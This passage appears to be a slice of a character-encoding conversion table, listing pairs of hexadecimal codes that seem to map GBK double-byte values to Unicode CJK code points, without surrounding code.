{0x6499,0x6a87},{0x6599,0x6a88},{0x6699,0x6a89},{0x6799,0x6a8a},{0x6899,0x6a8b},
{0x6999,0x6a8c},{0x6a99,0x6a8d},{0xd5e9,0x6a8e},{0x6b99,0x6a8f},{0xdce9,0x6a90},
{0xdbe9,0x6a91},{0x6c99,0x6a92},{0x6d99,0x6a93},{0x6e99,0x6a94},{0x6f99,0x6a95},
{0x7099,0x6a96},{0xdee9,0x6a97},{0x7199,0x6a98},{0x7299,0x6a99},{0x7399,0x6a9a},
{0x7499,0x6a9b},{0x7599,0x6a9c},{0x7699,0x6a9d},{0x7799,0x6a9e},{0x7899,0x6a9f},
{0xd1e9,0x6aa0},{0x7999,0x6aa1},{0x7a99,0x6aa2},{0x7b99,0x6aa3},{0x7c99,0x6aa4},
{0x7d99,0x6aa5},{0x7e99,0x6aa6},{0x8099,0x6aa7},{0x8199,0x6aa8},{0xdde9,0x6aa9},
{0x8299,0x6aaa},{0xdfe9,0x6aab},{0xcac3,0x6aac},{0x8399,0x6aad},{0x8499,0x6aae},
{0x8599,0x6aaf},{0x8699,0x6ab0},{0x8799,0x6ab1},{0x8899,0x6ab2},{0x8999,0x6ab3},
{0x8a99,0x6ab4},{0x8b99,0x6ab5},{0x8c99,0x6ab6},{0x8d99,0x6ab7},{0x8e99,0x6ab8},
{0x8f99,0x6ab9},{0x9099,0x6aba},{0x9199,0x6abb},{0x9299,0x6abc},{0x9399,0x6abd},
{0x9499,0x6abe},{0x9599,0x6abf},{0x9699,0x6ac0},{0x9799,0x6ac1},{0x9899,0x6ac2},
{0x9999,0x6ac3},{0x9a99,0x6ac4},{0x9b99,0x6ac5},{0x9c99,0x6ac6},{0x9d99,0x6ac7},
{0x9e99,0x6ac8},{0x9f99,0x6ac9},{0xa099,0x6aca},{0xa199,0x6acb},{0xa299,0x6acc},
{0xa399,0x6acd},{0xa499,0x6ace},{0xa599,0x6acf},{0xa699,0x6ad0},{0xa799,0x6ad1},
{0xa899,0x6ad2},{0xa999,0x6ad3},{0xaa99,0x6ad4},{0xab99,0x6ad5},{0xac99,0x6ad6},
{0xad99,0x6ad7},{0xae99,0x6ad8},{0xaf99,0x6ad9},{0xb099,0x6ada},{0xb199,0x6adb},
{0xb299,0x6adc},{0xb399,0x6add},{0xb499,0x6ade},{0xb599,0x6adf},{0xb699,0x6ae0},
{0xb799,0x6ae1},{0xb899,0x6ae2},{0xb999,0x6ae3},{0xba99,0x6ae4},{0xbb99,0x6ae5},
{0xbc99,0x6ae6},{0xbd99,0x6ae7},{0xbe99,0x6ae8},{0xbf99,0x6ae9},{0xc099,0x6aea},
{0xc199,0x6aeb},{0xc299,0x6aec},{0xc399,0x6aed},{0xc499,0x6aee},{0xc599,0x6aef},
{0xc699,0x6af0},{0xc799,0x6af1},{0xc899,0x6af2},{0xc999,0x6af3},{0xca99,0x6af4},
{0xcb99,0x6af5},{0xcc99,0x6af6},{0xcd99,0x6af7},{0xce99,0x6af8},{0xcf99,0x6af9},
{0xd099,0x6afa},{0xd199,0x6afb},{0xd299,0x6afc},{0xd399,0x6afd},{0xd499,0x6afe},
{0xd699,0x6b00},{0xd799,0x6b01},{0xd899,0x6b02},{0xd999,0x6b03},{0xda99,0x6b04},
{0xdb99,0x6b05},{0xdc99,0x6b06},{0xdd99,0x6b07},{0xde99,0x6b08},{0xdf99,0x6b09},
{0xe099,0x6b0a},{0xe199,0x6b0b},{0xe299,0x6b0c},{0xe399,0x6b0d},{0xe499,0x6b0e},
{0xe599,0x6b0f},{0xe699,0x6b10},{0xe799,0x6b11},{0xe899,0x6b12},{0xe999,0x6b13},
{0xea99,0x6b14},{0xeb99,0x6b15},{0xec99,0x6b16},{0xed99,0x6b17},{0xee99,0x6b18},
{0xef99,0x6b19},{0xf099,0x6b1a},{0xf199,0x6b1b},{0xf299,0x6b1c},{0xf399,0x6b1d},
{0xf499,0x6b1e},{0xf599,0x6b1f},{0xb7c7,0x6b20},{0xceb4,0x6b21},{0xb6bb,0x6b22},
{0xc0d0,0x6b23},{0xa3ec,0x6b24},{0xf699,0x6b25},{0xf799,0x6b26},{0xb7c5,0x6b27},
{0xf899,0x6b28},{0xf999,0x6b29},{0xfa99,0x6b2a},{0xfb99,0x6b2b},{0xfc99,0x6b2c},
{0xfd99,0x6b2d},{0xfe99,0x6b2e},{0x409a,0x6b2f},{0x419a,0x6b30},{0x429a,0x6b31},
{0xfbd3,0x6b32},{0x439a,0x6b33},{0x449a,0x6b34},{0x459a,0x6b35},{0x469a,0x6b36},
{0xa4ec,0x6b37},{0x479a,0x6b38},{0xa5ec,0x6b39},{0xdbc6,0x6b3a},{0x489a,0x6b3b},
{0x499a,0x6b3c},{0x4a9a,0x6b3d},{0xeebf,0x6b3e},{0x4b9a,0x6b3f},{0x4c9a,0x6b40},
{0x4d9a,0x6b41},{0x4e9a,0x6b42},{0xa6ec,0x6b43},{0x4f9a,0x6b44},{0x509a,0x6b45},
{0xa7ec,0x6b46},{0xaad0,0x6b47},{0x519a,0x6b48},{0xb8c7,0x6b49},{0x529a,0x6b4a},
{0x539a,0x6b4b},{0xe8b8,0x6b4c},{0x549a,0x6b4d},{0x559a,0x6b4e},{0x569a,0x6b4f},
{0x579a,0x6b50},{0x589a,0x6b51},{0x599a,0x6b52},{0x5a9a,0x6b53},{0x5b9a,0x6b54},
{0x5c9a,0x6b55},{0x5d9a,0x6b56},{0x5e9a,0x6b57},{0x5f9a,0x6b58},{0xa8ec,0x6b59},
{0x609a,0x6b5a},{0x619a,0x6b5b},{0x629a,0x6b5c},{0x639a,0x6b5d},{0x649a,0x6b5e},
{0x659a,0x6b5f},{0x669a,0x6b60},{0x679a,0x6b61},{0xb9d6,0x6b62},{0xfdd5,0x6b63},
{0xcbb4,0x6b64},{0xbdb2,0x6b65},{0xe4ce,0x6b66},{0xe7c6,0x6b67},{0x689a,0x6b68},
{0x699a,0x6b69},{0xe1cd,0x6b6a},{0x6a9a,0x6b6b},{0x6b9a,0x6b6c},{0x6c9a,0x6b6d},
{0x6d9a,0x6b6e},{0x6e9a,0x6b6f},{0x6f9a,0x6b70},{0x709a,0x6b71},{0x719a,0x6b72},
{0x729a,0x6b73},{0x739a,0x6b74},{0x749a,0x6b75},{0x759a,0x6b76},{0x769a,0x6b77},
{0x779a,0x6b78},{0xf5b4,0x6b79},{0x789a,0x6b7a},{0xc0cb,0x6b7b},{0xdfbc,0x6b7c},
{0x799a,0x6b7d},{0x7a9a,0x6b7e},{0x7b9a,0x6b7f},{0x7c9a,0x6b80},{0xe2e9,0x6b81},
{0xe3e9,0x6b82},{0xead1,0x6b83},{0xe5e9,0x6b84},{0x7d9a,0x6b85},{0xf9b4,0x6b86},
{0xe4e9,0x6b87},{0x7e9a,0x6b88},{0xb3d1,0x6b89},{0xe2ca,0x6b8a},{0xd0b2,0x6b8b},
{0x809a,0x6b8c},{0xe8e9,0x6b8d},{0x819a,0x6b8e},{0x829a,0x6b8f},{0x839a,0x6b90},
{0x849a,0x6b91},{0xe6e9,0x6b92},{0xe7e9,0x6b93},{0x859a,0x6b94},{0x869a,0x6b95},
{0xb3d6,0x6b96},{0x879a,0x6b97},{0x889a,0x6b98},{0x899a,0x6b99},{0xe9e9,0x6b9a},
{0xeae9,0x6b9b},{0x8a9a,0x6b9c},{0x8b9a,0x6b9d},{0x8c9a,0x6b9e},{0x8d9a,0x6b9f},
{0x8e9a,0x6ba0},{0xebe9,0x6ba1},{0x8f9a,0x6ba2},{0x909a,0x6ba3},{0x919a,0x6ba4},
{0x929a,0x6ba5},{0x939a,0x6ba6},{0x949a,0x6ba7},{0x959a,0x6ba8},{0x969a,0x6ba9},
{0xece9,0x6baa},{0x979a,0x6bab},{0x989a,0x6bac},{0x999a,0x6bad},{0x9a9a,0x6bae},
{0x9b9a,0x6baf},{0x9c9a,0x6bb0},{0x9d9a,0x6bb1},{0x9e9a,0x6bb2},{0xafec,0x6bb3},
{0xb9c5,0x6bb4},{0xceb6,0x6bb5},{0x9f9a,0x6bb6},{0xf3d2,0x6bb7},{0xa09a,0x6bb8},
{0xa19a,0x6bb9},{0xa29a,0x6bba},{0xa39a,0x6bbb},{0xa49a,0x6bbc},{0xa59a,0x6bbd},
{0xa69a,0x6bbe},{0xeeb5,0x6bbf},{0xa79a,0x6bc0},{0xd9bb,0x6bc1},{0xb1ec,0x6bc2},
{0xa89a,0x6bc3},{0xa99a,0x6bc4},{0xe3d2,0x6bc5},{0xaa9a,0x6bc6},{0xab9a,0x6bc7},
{0xac9a,0x6bc8},{0xad9a,0x6bc9},{0xae9a,0x6bca},{0xe3ce,0x6bcb},{0xaf9a,0x6bcc},
{0xb8c4,0x6bcd},{0xb09a,0x6bce},{0xbfc3,0x6bcf},{0xb19a,0x6bd0},{0xb29a,0x6bd1},
{0xbeb6,0x6bd2},{0xb9d8,0x6bd3},{0xc8b1,0x6bd4},{0xcfb1,0x6bd5},{0xd1b1,0x6bd6},
{0xfec5,0x6bd7},{0xb39a,0x6bd8},{0xd0b1,0x6bd9},{0xb49a,0x6bda},{0xabc3,0x6bdb},
{0xb59a,0x6bdc},{0xb69a,0x6bdd},{0xb79a,0x6bde},{0xb89a,0x6bdf},{0xb99a,0x6be0},
{0xb1d5,0x6be1},{0xba9a,0x6be2},{0xbb9a,0x6be3},{0xbc9a,0x6be4},{0xbd9a,0x6be5},
{0xbe9a,0x6be6},{0xbf9a,0x6be7},{0xc09a,0x6be8},{0xc19a,0x6be9},{0xa4eb,0x6bea},
{0xc1ba,0x6beb},{0xc29a,0x6bec},{0xc39a,0x6bed},{0xc49a,0x6bee},{0xbacc,0x6bef},
{0xc59a,0x6bf0},{0xc69a,0x6bf1},{0xc79a,0x6bf2},{0xa5eb,0x6bf3},{0xc89a,0x6bf4},
{0xa7eb,0x6bf5},{0xc99a,0x6bf6},{0xca9a,0x6bf7},{0xcb9a,0x6bf8},{0xa8eb,0x6bf9},
{0xcc9a,0x6bfa},{0xcd9a,0x6bfb},{0xce9a,0x6bfc},{0xa6eb,0x6bfd},{0xcf9a,0x6bfe},
{0xd19a,0x6c00},{0xd29a,0x6c01},{0xd39a,0x6c02},{0xd49a,0x6c03},{0xd59a,0x6c04},
{0xa9eb,0x6c05},{0xabeb,0x6c06},{0xaaeb,0x6c07},{0xd69a,0x6c08},{0xd79a,0x6c09},
{0xd89a,0x6c0a},{0xd99a,0x6c0b},{0xda9a,0x6c0c},{0xaceb,0x6c0d},{0xdb9a,0x6c0e},
{0xcfca,0x6c0f},{0xb5d8,0x6c10},{0xf1c3,0x6c11},{0xdc9a,0x6c12},{0xa5c3,0x6c13},
{0xf8c6,0x6c14},{0xadeb,0x6c15},{0xcac4,0x6c16},{0xdd9a,0x6c17},{0xaeeb,0x6c18},
{0xafeb,0x6c19},{0xb0eb,0x6c1a},{0xd5b7,0x6c1b},{0xde9a,0x6c1c},{0xdf9a,0x6c1d},
{0xe09a,0x6c1e},{0xfab7,0x6c1f},{0xe19a,0x6c20},{0xb1eb,0x6c21},{0xe2c7,0x6c22},
{0xe29a,0x6c23},{0xb3eb,0x6c24},{0xe39a,0x6c25},{0xa4ba,0x6c26},{0xf5d1,0x6c27},
{0xb1b0,0x6c28},{0xb2eb,0x6c29},{0xb4eb,0x6c2a},{0xe49a,0x6c2b},{0xe59a,0x6c2c},
{0xe69a,0x6c2d},{0xaab5,0x6c2e},{0xc8c2,0x6c2f},{0xe8c7,0x6c30},{0xe79a,0x6c31},
{0xb5eb,0x6c32},{0xe89a,0x6c33},{0xaecb,0x6c34},{0xdfe3,0x6c35},{0xe99a,0x6c36},
{0xea9a,0x6c37},{0xc0d3,0x6c38},{0xeb9a,0x6c39},{0xec9a,0x6c3a},{0xed9a,0x6c3b},
{0xee9a,0x6c3c},{0xdbd9,0x6c3d},{0xef9a,0x6c3e},{0xf09a,0x6c3f},{0xa1cd,0x6c40},
{0xadd6,0x6c41},{0xf3c7,0x6c42},{0xf19a,0x6c43},{0xf29a,0x6c44},{0xf39a,0x6c45},
{0xe0d9,0x6c46},{0xe3bb,0x6c47},{0xf49a,0x6c48},{0xbaba,0x6c49},{0xe2e3,0x6c4a},
{0xf59a,0x6c4b},{0xf69a,0x6c4c},{0xf79a,0x6c4d},{0xf89a,0x6c4e},{0xf99a,0x6c4f},
{0xabcf,0x6c50},{0xfa9a,0x6c51},{0xfb9a,0x6c52},{0xfc9a,0x6c53},{0xe0e3,0x6c54},
{0xc7c9,0x6c55},{0xfd9a,0x6c56},{0xb9ba,0x6c57},{0xfe9a,0x6c58},{0x409b,0x6c59},
{0x419b,0x6c5a},{0xb4d1,0x6c5b},{0xe1e3,0x6c5c},{0xeac8,0x6c5d},{0xafb9,0x6c5e},
{0xadbd,0x6c5f},{0xd8b3,0x6c60},{0xdbce,0x6c61},{0x429b,0x6c62},{0x439b,0x6c63},
{0xc0cc,0x6c64},{0x449b,0x6c65},{0x459b,0x6c66},{0x469b,0x6c67},{0xe8e3,0x6c68},
{0xe9e3,0x6c69},{0xf4cd,0x6c6a},{0x479b,0x6c6b},{0x489b,0x6c6c},{0x499b,0x6c6d},
{0x4a9b,0x6c6e},{0x4b9b,0x6c6f},{0xadcc,0x6c70},{0x4c9b,0x6c71},{0xb3bc,0x6c72},
{0x4d9b,0x6c73},{0xeae3,0x6c74},{0x4e9b,0x6c75},{0xebe3,0x6c76},{0x4f9b,0x6c77},
{0x509b,0x6c78},{0xdad0,0x6c79},{0x519b,0x6c7a},{0x529b,0x6c7b},{0x539b,0x6c7c},
{0xfbc6,0x6c7d},{0xdab7,0x6c7e},{0x549b,0x6c7f},{0x559b,0x6c80},{0xdfc7,0x6c81},
{0xcad2,0x6c82},{0xd6ce,0x6c83},{0x569b,0x6c84},{0xe4e3,0x6c85},{0xece3,0x6c86},
{0x579b,0x6c87},{0xf2c9,0x6c88},{0xc1b3,0x6c89},{0x589b,0x6c8a},{0x599b,0x6c8b},
{0xe7e3,0x6c8c},{0x5a9b,0x6c8d},{0x5b9b,0x6c8e},{0xe3c6,0x6c8f},{0xe5e3,0x6c90},
{0x5c9b,0x6c91},{0x5d9b,0x6c92},{0xb3ed,0x6c93},{0xe6e3,0x6c94},{0x5e9b,0x6c95},
{0x5f9b,0x6c96},{0x609b,0x6c97},{0x619b,0x6c98},{0xb3c9,0x6c99},{0x629b,0x6c9a},
{0xe6c5,0x6c9b},{0x639b,0x6c9c},{0x649b,0x6c9d},{0x659b,0x6c9e},{0xb5b9,0x6c9f},
{0x669b,0x6ca0},{0xbbc3,0x6ca1},{0x679b,0x6ca2},{0xe3e3,0x6ca3},{0xbdc5,0x6ca4},
{0xa4c1,0x6ca5},{0xd9c2,0x6ca6},{0xd7b2,0x6ca7},{0x689b,0x6ca8},{0xede3,0x6ca9},
{0xa6bb,0x6caa},{0xadc4,0x6cab},{0x699b,0x6cac},{0xf0e3,0x6cad},{0xdabe,0x6cae},
{0x6a9b,0x6caf},{0x6b9b,0x6cb0},{0xfbe3,0x6cb1},{0xf5e3,0x6cb2},{0xd3ba,0x6cb3},
{0x6c9b,0x6cb4},{0x6d9b,0x6cb5},{0x6e9b,0x6cb6},{0x6f9b,0x6cb7},{0xd0b7,0x6cb8},
{0xcdd3,0x6cb9},{0x709b,0x6cba},{0xced6,0x6cbb},{0xd3d5,0x6cbc},{0xc1b9,0x6cbd},
{0xb4d5,0x6cbe},{0xd8d1,0x6cbf},{0x719b,0x6cc0},{0x729b,0x6cc1},{0x739b,0x6cc2},
{0x749b,0x6cc3},{0xb9d0,0x6cc4},{0xf6c7,0x6cc5},{0x759b,0x6cc6},{0x769b,0x6cc7},
{0x779b,0x6cc8},{0xaac8,0x6cc9},{0xb4b2,0x6cca},{0x789b,0x6ccb},{0xdac3,0x6ccc},
{0x799b,0x6ccd},{0x7a9b,0x6cce},{0x7b9b,0x6ccf},{0xeee3,0x6cd0},{0x7c9b,0x6cd1},
{0x7d9b,0x6cd2},{0xfce3,0x6cd3},{0xefe3,0x6cd4},{0xa8b7,0x6cd5},{0xf7e3,0x6cd6},
{0xf4e3,0x6cd7},{0x7e9b,0x6cd8},{0x809b,0x6cd9},{0x819b,0x6cda},{0xbab7,0x6cdb},
{0x829b,0x6cdc},{0x839b,0x6cdd},{0xa2c5,0x6cde},{0x849b,0x6cdf},{0xf6e3,0x6ce0},
{0xddc5,0x6ce1},{0xa8b2,0x6ce2},{0xfcc6,0x6ce3},{0x859b,0x6ce4},{0xe0c4,0x6ce5},
{0x869b,0x6ce6},{0x879b,0x6ce7},{0xa2d7,0x6ce8},{0x889b,0x6ce9},{0xe1c0,0x6cea},
{0xf9e3,0x6ceb},{0x899b,0x6cec},{0x8a9b,0x6ced},{0xfae3,0x6cee},{0xfde3,0x6cef},
{0xa9cc,0x6cf0},{0xf3e3,0x6cf1},{0x8b9b,0x6cf2},{0xbed3,0x6cf3},{0x8c9b,0x6cf4},
{0xc3b1,0x6cf5},{0xb4ed,0x6cf6},{0xf1e3,0x6cf7},{0xf2e3,0x6cf8},{0x8d9b,0x6cf9},
{0xf8e3,0x6cfa},{0xbad0,0x6cfb},{0xc3c6,0x6cfc},{0xf3d4,0x6cfd},{0xfee3,0x6cfe},
{0x8f9b,0x6d00},{0xe0bd,0x6d01},{0x909b,0x6d02},{0x919b,0x6d03},{0xa7e4,0x6d04},
{0x929b,0x6d05},{0x939b,0x6d06},{0xa6e4,0x6d07},{0x949b,0x6d08},{0x959b,0x6d09},
{0x969b,0x6d0a},{0xf3d1,0x6d0b},{0xa3e4,0x6d0c},{0x979b,0x6d0d},{0xa9e4,0x6d0e},
{0x989b,0x6d0f},{0x999b,0x6d10},{0x9a9b,0x6d11},{0xf7c8,0x6d12},{0x9b9b,0x6d13},
{0x9c9b,0x6d14},{0x9d9b,0x6d15},{0x9e9b,0x6d16},{0xb4cf,0x6d17},{0x9f9b,0x6d18},
{0xa8e4,0x6d19},{0xaee4,0x6d1a},{0xe5c2,0x6d1b},{0xa09b,0x6d1c},{0xa19b,0x6d1d},
{0xb4b6,0x6d1e},{0xa29b,0x6d1f},{0xa39b,0x6d20},{0xa49b,0x6d21},{0xa59b,0x6d22},
{0xa69b,0x6d23},{0xa79b,0x6d24},{0xf2bd,0x6d25},{0xa89b,0x6d26},{0xa2e4,0x6d27},
{0xa99b,0x6d28},{0xaa9b,0x6d29},{0xe9ba,0x6d2a},{0xaae4,0x6d2b},{0xab9b,0x6d2c},
{0xac9b,0x6d2d},{0xace4,0x6d2e},{0xad9b,0x6d2f},{0xae9b,0x6d30},{0xfdb6,0x6d31},
{0xded6,0x6d32},{0xb2e4,0x6d33},{0xaf9b,0x6d34},{0xade4,0x6d35},{0xb09b,0x6d36},
{0xb19b,0x6d37},{0xb29b,0x6d38},{0xa1e4,0x6d39},{0xb39b,0x6d3a},{0xeebb,0x6d3b},
{0xddcd,0x6d3c},{0xa2c7,0x6d3d},{0xc9c5,0x6d3e},{0xb49b,0x6d3f},{0xb59b,0x6d40},
{0xf7c1,0x6d41},{0xb69b,0x6d42},{0xa4e4,0x6d43},{0xb79b,0x6d44},{0xb3c7,0x6d45},
{0xacbd,0x6d46},{0xbdbd,0x6d47},{0xa5e4,0x6d48},{0xb89b,0x6d49},{0xc7d7,0x6d4a},
{0xe2b2,0x6d4b},{0xb99b,0x6d4c},{0xabe4,0x6d4d},{0xc3bc,0x6d4e},{0xafe4,0x6d4f},
{0xba9b,0x6d50},{0xebbb,0x6d51},{0xb0e4,0x6d52},{0xa8c5,0x6d53},{0xb1e4,0x6d54},
{0xbb9b,0x6d55},{0xbc9b,0x6d56},{0xbd9b,0x6d57},{0xbe9b,0x6d58},{0xe3d5,0x6d59},
{0xa3bf,0x6d5a},{0xbf9b,0x6d5b},{0xbae4,0x6d5c},{0xc09b,0x6d5d},{0xb7e4,0x6d5e},
{0xc19b,0x6d5f},{0xbbe4,0x6d60},{0xc29b,0x6d61},{0xc39b,0x6d62},{0xbde4,0x6d63},
{0xc49b,0x6d64},{0xc59b,0x6d65},{0xd6c6,0x6d66},{0xc69b,0x6d67},{0xc79b,0x6d68},
{0xc6ba,0x6d69},{0xcbc0,0x6d6a},{0xc89b,0x6d6b},{0xc99b,0x6d6c},{0xca9b,0x6d6d},
{0xa1b8,0x6d6e},{0xb4e4,0x6d6f},{0xcb9b,0x6d70},{0xcc9b,0x6d71},{0xcd9b,0x6d72},
{0xce9b,0x6d73},{0xa1d4,0x6d74},{0xcf9b,0x6d75},{0xd09b,0x6d76},{0xa3ba,0x6d77},
{0xfebd,0x6d78},{0xd19b,0x6d79},{0xd29b,0x6d7a},{0xd39b,0x6d7b},{0xbce4,0x6d7c},
{0xd49b,0x6d7d},{0xd59b,0x6d7e},{0xd69b,0x6d7f},{0xd79b,0x6d80},{0xd89b,0x6d81},
{0xbfcd,0x6d82},{0xd99b,0x6d83},{0xda9b,0x6d84},{0xf9c4,0x6d85},{0xdb9b,0x6d86},
{0xdc9b,0x6d87},{0xfbcf,0x6d88},{0xe6c9,0x6d89},{0xdd9b,0x6d8a},{0xde9b,0x6d8b},
{0xbfd3,0x6d8c},{0xdf9b,0x6d8d},{0xd1cf,0x6d8e},{0xe09b,0x6d8f},{0xe19b,0x6d90},
{0xb3e4,0x6d91},{0xe29b,0x6d92},{0xb8e4,0x6d93},{0xb9e4,0x6d94},{0xe9cc,0x6d95},
{0xe39b,0x6d96},{0xe49b,0x6d97},{0xe59b,0x6d98},{0xe69b,0x6d99},{0xe79b,0x6d9a},
{0xcecc,0x6d9b},{0xe89b,0x6d9c},{0xd4c0,0x6d9d},{0xb5e4,0x6d9e},{0xb0c1,0x6d9f},
{0xb6e4,0x6da0},{0xd0ce,0x6da1},{0xe99b,0x6da2},{0xc1bb,0x6da3},{0xd3b5,0x6da4},
{0xea9b,0x6da5},{0xf3c8,0x6da6},{0xa7bd,0x6da7},{0xc7d5,0x6da8},{0xacc9,0x6da9},
{0xa2b8,0x6daa},{0xcae4,0x6dab},{0xeb9b,0x6dac},{0xec9b,0x6dad},{0xcce4,0x6dae},
{0xc4d1,0x6daf},{0xed9b,0x6db0},{0xee9b,0x6db1},{0xbad2,0x6db2},{0xef9b,0x6db3},
{0xf09b,0x6db4},{0xadba,0x6db5},{0xf19b,0x6db6},{0xf29b,0x6db7},{0xd4ba,0x6db8},
{0xf39b,0x6db9},{0xf49b,0x6dba},{0xf59b,0x6dbb},{0xf69b,0x6dbc},{0xf79b,0x6dbd},
{0xf89b,0x6dbe},{0xc3e4,0x6dbf},{0xedb5,0x6dc0},{0xf99b,0x6dc1},{0xfa9b,0x6dc2},
{0xfb9b,0x6dc3},{0xcdd7,0x6dc4},{0xc0e4,0x6dc5},{0xfdcf,0x6dc6},{0xbfe4,0x6dc7},
{0xfc9b,0x6dc8},{0xfd9b,0x6dc9},{0xfe9b,0x6dca},{0xdcc1,0x6dcb},{0xcacc,0x6dcc},
{0x409c,0x6dcd},{0x419c,0x6dce},{0x429c,0x6dcf},{0x439c,0x6dd0},{0xe7ca,0x6dd1},
{0x449c,0x6dd2},{0x459c,0x6dd3},{0x469c,0x6dd4},{0x479c,0x6dd5},{0xd7c4,0x6dd6},
{0x489c,0x6dd7},{0xd4cc,0x6dd8},{0xc8e4,0x6dd9},{0x499c,0x6dda},{0x4a9c,0x6ddb},
{0x4b9c,0x6ddc},{0xc7e4,0x6ddd},{0xc1e4,0x6dde},{0x4c9c,0x6ddf},{0xc4e4,0x6de0},
{0xadb5,0x6de1},{0x4d9c,0x6de2},{0x4e9c,0x6de3},{0xd9d3,0x6de4},{0x4f9c,0x6de5},
{0xc6e4,0x6de6},{0x509c,0x6de7},{0x519c,0x6de8},{0x529c,0x6de9},{0x539c,0x6dea},
{0xf9d2,0x6deb},{0xe3b4,0x6dec},{0x549c,0x6ded},{0xb4bb,0x6dee},{0x559c,0x6def},
{0x569c,0x6df0},{0xeec9,0x6df1},{0x579c,0x6df2},{0xbeb4,0x6df3},{0x589c,0x6df4},
{0x599c,0x6df5},{0x5a9c,0x6df6},{0xecbb,0x6df7},{0x5b9c,0x6df8},{0xcdd1,0x6df9},
{0x5c9c,0x6dfa},{0xedcc,0x6dfb},{0xb5ed,0x6dfc},{0x5d9c,0x6dfd},{0x5e9c,0x6dfe},
{0x609c,0x6e00},{0x619c,0x6e01},{0x629c,0x6e02},{0x639c,0x6e03},{0x649c,0x6e04},
{0xe5c7,0x6e05},{0x659c,0x6e06},{0x669c,0x6e07},{0x679c,0x6e08},{0x689c,0x6e09},
{0xa8d4,0x6e0a},{0x699c,0x6e0b},{0xcbe4,0x6e0c},{0xd5d7,0x6e0d},{0xc2e4,0x6e0e},
{0x6a9c,0x6e0f},{0xa5bd,0x6e10},{0xc5e4,0x6e11},{0x6b9c,0x6e12},{0x6c9c,0x6e13},
{0xe6d3,0x6e14},{0x6d9c,0x6e15},{0xc9e4,0x6e16},{0xf8c9,0x6e17},{0x6e9c,0x6e18},
{0x6f9c,0x6e19},{0xbee4,0x6e1a},{0x709c,0x6e1b},{0x719c,0x6e1c},{0xe5d3,0x6e1d},
{0x729c,0x6e1e},{0x739c,0x6e1f},{0xfec7,0x6e20},{0xc9b6,0x6e21},{0x749c,0x6e22},
{0xfcd4,0x6e23},{0xb3b2,0x6e24},{0xd7e4,0x6e25},{0x759c,0x6e26},{0x769c,0x6e27},
{0x779c,0x6e28},{0xc2ce,0x6e29},{0x789c,0x6e2a},{0xcde4,0x6e2b},{0x799c,0x6e2c},
{0xbcce,0x6e2d},{0x7a9c,0x6e2e},{0xdbb8,0x6e2f},{0x7b9c,0x6e30},{0x7c9c,0x6e31},
{0xd6e4,0x6e32},{0x7d9c,0x6e33},{0xcabf,0x6e34},{0x7e9c,0x6e35},{0x809c,0x6e36},
{0x819c,0x6e37},{0xced3,0x6e38},{0x829c,0x6e39},{0xecc3,0x6e3a},{0x839c,0x6e3b},
{0x849c,0x6e3c},{0x859c,0x6e3d},{0x869c,0x6e3e},{0x879c,0x6e3f},{0x889c,0x6e40},
{0x899c,0x6e41},{0x8a9c,0x6e42},{0xc8c5,0x6e43},{0xd8e4,0x6e44},{0x8b9c,0x6e45},
{0x8c9c,0x6e46},{0x8d9c,0x6e47},{0x8e9c,0x6e48},{0x8f9c,0x6e49},{0x909c,0x6e4a},
{0x919c,0x6e4b},{0x929c,0x6e4c},{0xc4cd,0x6e4d},{0xcfe4,0x6e4e},{0x939c,0x6e4f},
{0x949c,0x6e50},{0x959c,0x6e51},{0x969c,0x6e52},{0xd4e4,0x6e53},{0xd5e4,0x6e54},
{0x979c,0x6e55},{0xfeba,0x6e56},{0x989c,0x6e57},{0xe6cf,0x6e58},{0x999c,0x6e59},
{0x9a9c,0x6e5a},{0xbfd5,0x6e5b},{0x9b9c,0x6e5c},{0x9c9c,0x6e5d},{0x9d9c,0x6e5e},
{0xd2e4,0x6e5f},{0x9e9c,0x6e60},{0x9f9c,0x6e61},{0xa09c,0x6e62},{0xa19c,0x6e63},
{0xa29c,0x6e64},{0xa39c,0x6e65},{0xa49c,0x6e66},{0xa59c,0x6e67},{0xa69c,0x6e68},
{0xa79c,0x6e69},{0xa89c,0x6e6a},{0xd0e4,0x6e6b},{0xa99c,0x6e6c},{0xaa9c,0x6e6d},
{0xcee4,0x6e6e},{0xab9c,0x6e6f},{0xac9c,0x6e70},{0xad9c,0x6e71},{0xae9c,0x6e72},
{0xaf9c,0x6e73},{0xb09c,0x6e74},{0xb19c,0x6e75},{0xb29c,0x6e76},{0xb39c,0x6e77},
{0xb49c,0x6e78},{0xb59c,0x6e79},{0xb69c,0x6e7a},{0xb79c,0x6e7b},{0xb89c,0x6e7c},
{0xb99c,0x6e7d},{0xe5cd,0x6e7e},{0xaaca,0x6e7f},{0xba9c,0x6e80},{0xbb9c,0x6e81},
{0xbc9c,0x6e82},{0xa3c0,0x6e83},{0xbd9c,0x6e84},{0xa6bd,0x6e85},{0xd3e4,0x6e86},
{0xbe9c,0x6e87},{0xbf9c,0x6e88},{0xc8b8,0x6e89},{0xc09c,0x6e8a},{0xc19c,0x6e8b},
{0xc29c,0x6e8c},{0xc39c,0x6e8d},{0xc49c,0x6e8e},{0xe7e4,0x6e8f},{0xb4d4,0x6e90},
{0xc59c,0x6e91},{0xc69c,0x6e92},{0xc79c,0x6e93},{0xc89c,0x6e94},{0xc99c,0x6e95},
{0xca9c,0x6e96},{0xcb9c,0x6e97},{0xdbe4,0x6e98},{0xcc9c,0x6e99},{0xcd9c,0x6e9a},
{0xce9c,0x6e9b},{0xefc1,0x6e9c},{0xcf9c,0x6e9d},{0xd09c,0x6e9e},{0xe9e4,0x6e9f},
{0xd19c,0x6ea0},{0xd29c,0x6ea1},{0xe7d2,0x6ea2},{0xd39c,0x6ea3},{0xd49c,0x6ea4},
{0xdfe4,0x6ea5},{0xd59c,0x6ea6},{0xe0e4,0x6ea7},{0xd69c,0x6ea8},{0xd79c,0x6ea9},
{0xaacf,0x6eaa},{0xd89c,0x6eab},{0xd99c,0x6eac},{0xda9c,0x6ead},{0xdb9c,0x6eae},
{0xddcb,0x6eaf},{0xdc9c,0x6eb0},{0xdae4,0x6eb1},{0xd1e4,0x6eb2},{0xdd9c,0x6eb3},
{0xe5e4,0x6eb4},{0xde9c,0x6eb5},{0xdcc8,0x6eb6},{0xe3e4,0x6eb7},{0xdf9c,0x6eb8},
{0xe09c,0x6eb9},{0xe7c4,0x6eba},{0xe2e4,0x6ebb},{0xe19c,0x6ebc},{0xe1e4,0x6ebd},
{0xe29c,0x6ebe},{0xe39c,0x6ebf},{0xe49c,0x6ec0},{0xfcb3,0x6ec1},{0xe8e4,0x6ec2},
{0xe59c,0x6ec3},{0xe69c,0x6ec4},{0xe79c,0x6ec5},{0xe89c,0x6ec6},{0xe1b5,0x6ec7},
